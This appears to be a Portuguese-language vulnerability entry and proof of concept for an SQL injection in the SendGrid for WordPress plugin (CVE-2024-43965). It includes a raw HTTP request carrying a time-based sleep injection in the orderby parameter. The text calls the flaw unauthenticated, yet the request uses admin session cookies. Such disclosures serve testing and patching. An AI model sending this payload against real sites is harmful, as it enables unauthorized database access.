randomrobbiebf/cve-2024-43965SendGrid for WordPress <= 1.4 - Injeção SQL não autenticada
SendGrid for WordPress <= 1.4 - Injeção SQL não autenticada
O plugin SendGrid for WordPress para WordPress é vulnerável a Injeção SQL nas versões até, e incluindo, 1.4 devido a escape insuficiente no parâmetro fornecido pelo usuário e falta de preparação adequada na consulta SQL existente. Isso possibilita que atacantes não autenticados anexem consultas SQL adicionais em consultas já existentes, que podem ser usadas para extrair informações sensíveis do banco de dados.
Type: plugin
CVSS Score: 10
CVE: CVE-2024-43965
Slug: wp-sendgrid-mailer
Link de Download: https://downloads.wordpress.org/plugin/wp-sendgrid-mailer.1.4.zip
GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(20)))a)&order=asc HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-mailplus-logs
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C64e3c5190e9d6981e485354f702a6f61dc8d35c827776156e02acbc906e9438b; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; wp-settings-time-1=1728766871; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C8a736f7917a23bb6af5d41f105cca1cea534aae621f35fae6edbe554d366207f; wp_wpfileupload_e2df32a6c3e7076dd7dc7d3f3fec39aa=XQGEyqgTa4ZpWTEfq92q1b6ZAMRbbNSs
Upgrade-Insecure-Requests: 1
Priority: u=0, i